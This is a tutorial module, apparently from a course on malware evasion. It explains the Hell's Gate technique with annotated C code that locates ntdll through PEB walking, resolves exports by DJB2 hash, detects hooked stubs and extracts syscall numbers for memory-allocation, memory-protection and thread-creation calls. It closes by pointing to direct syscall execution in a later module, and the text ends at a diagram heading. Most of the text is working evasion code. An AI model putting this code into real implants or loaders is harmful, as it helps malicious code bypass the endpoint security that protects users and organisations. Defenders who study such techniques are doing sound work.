Module 5: The Hell's Gate Algorithm

Walk the gates, read the stubs, resolve the numbers.

Algorithm Overview

The Hell's Gate resolution process has four phases:

Phase 1: Locating ntdll.dll

The first step is finding the base address of ntdll.dll without calling any API (since the APIs we need might be hooked). Hell's Gate uses PEB walking:

C// From HellsGate main.c
PTEB pCurrentTeb = RtlGetCurrentTeb();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;

// Walk InMemoryOrderModuleList
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)(
    (PBYTE)pCurrentPeb->Ldr->InMemoryOrderModuleList.Flink->Flink
    - 0x10  // subtract offset of InMemoryOrderLinks within LDR_DATA_TABLE_ENTRY
);

// pLdrDataEntry->DllBase is now the base address of ntdll.dll
PVOID pNtdllBase = pLdrDataEntry->DllBase;

Phase 2: Parsing the Export Address Table

With the ntdll base address, Hell's Gate parses the PE headers to reach the Export Directory, then iterates through exported function names:

C// Parse PE headers to reach the Export Directory
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pNtdllBase;
PIMAGE_NT_HEADERS pNt  = (PIMAGE_NT_HEADERS)((PBYTE)pNtdllBase + pDos->e_lfanew);

PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(
    (PBYTE)pNtdllBase +
    pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
);

// The three parallel arrays in the Export Directory:
PDWORD pdwAddrOfFunctions    = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfFunctions);
PDWORD pdwAddrOfNames        = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNames);
PWORD  pwAddrOfNameOrdinals  = (PWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNameOrdinals);

// Walk all named exports
for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
    // Get the function name
    PCHAR pFuncName = (PCHAR)((PBYTE)pNtdllBase + pdwAddrOfNames[i]);

    // Compute DJB2 hash
    DWORD64 dwFuncHash = djb2((PBYTE)pFuncName);

    // Compare against our target hashes
    // If match found: resolve address using ordinal table
    PVOID pFuncAddr = (PVOID)((PBYTE)pNtdllBase +
                      pdwAddrOfFunctions[pwAddrOfNameOrdinals[i]]);
    // ... populate VX_TABLE_ENTRY
}

Phase 3: The GetVxTableEntry Function

This is the critical function that validates a stub and extracts the SSN. Here is the logic from the original Hell's Gate code, annotated:

C// Hell's Gate - GetVxTableEntry
// Returns TRUE if the stub is clean and SSN was extracted
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pExportDir,
                     PVX_TABLE_ENTRY pVxTableEntry) {

    PDWORD pdwAddrOfFunctions    = /* ... resolved from pExportDir ... */;
    PDWORD pdwAddrOfNames        = /* ... */;
    PWORD  pwAddrOfNameOrdinals  = /* ... */;

    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddrOfNames[i]);

        // Compare hash of exported name against target hash
        if (djb2((PBYTE)pczFunctionName) == pVxTableEntry->dwHash) {

            // Found the target function - get its address
            PVOID pFunctionAddress = (PVOID)((PBYTE)pModuleBase +
                pdwAddrOfFunctions[pwAddrOfNameOrdinals[i]]);
            pVxTableEntry->pAddress = pFunctionAddress;

            // --- STUB VALIDATION ---
            // Check if the stub is clean (not hooked)
            // Expected: 4c 8b d1 b8 XX XX 00 00

            BYTE* stub = (BYTE*)pFunctionAddress;

            // Check for: mov r10, rcx (4c 8b d1)
            //            mov eax, SSN (b8 XX XX 00 00)
            if (stub[0] == 0x4c
             && stub[1] == 0x8b
             && stub[2] == 0xd1
             && stub[3] == 0xb8
             && stub[6] == 0x00    // High bytes of SSN must be zero
             && stub[7] == 0x00) { // (SSNs are always < 0x200, so upper bytes are 0)

                // Clean stub! Extract SSN from bytes 4-5
                BYTE high = stub[5];
                BYTE low  = stub[4];
                pVxTableEntry->wSystemCall = (high << 8) | low;
                return TRUE;  // SSN successfully resolved
            }

            // If we get here, the stub is hooked (first bytes modified)
            return FALSE;
        }
    }
    return FALSE;  // Function not found in exports
}

Phase 4: Populating the VX_TABLE

The main function calls GetVxTableEntry for each target syscall and assembles the complete table:

C// From main.c - populating the syscall table
VX_TABLE Table = { 0 };

// Set the target hashes (pre-computed DJB2 values)
Table.NtAllocateVirtualMemory.dwHash = 0xF5BD373480A6B89B;
Table.NtProtectVirtualMemory.dwHash  = 0x858BCB1046FB6A37;
Table.NtCreateThreadEx.dwHash        = 0x64DC7DB288C5015F;
Table.NtWaitForSingleObject.dwHash   = 0xC6A2FA174E551BCB;

// Resolve each entry
if (!GetVxTableEntry(pNtdllBase, pExportDir, &Table.NtAllocateVirtualMemory)) {
    // Handle error: stub is hooked or function not found
    return -1;
}
if (!GetVxTableEntry(pNtdllBase, pExportDir, &Table.NtProtectVirtualMemory)) {
    return -1;
}
if (!GetVxTableEntry(pNtdllBase, pExportDir, &Table.NtCreateThreadEx)) {
    return -1;
}
if (!GetVxTableEntry(pNtdllBase, pExportDir, &Table.NtWaitForSingleObject)) {
    return -1;
}

// At this point, Table contains:
// - pAddress:     pointer to each Nt* function in ntdll
// - wSystemCall:  the SSN for each function
// - dwHash:       the hash (already set)
// Ready for direct syscall execution (Module 6)

Complete Algorithm Diagram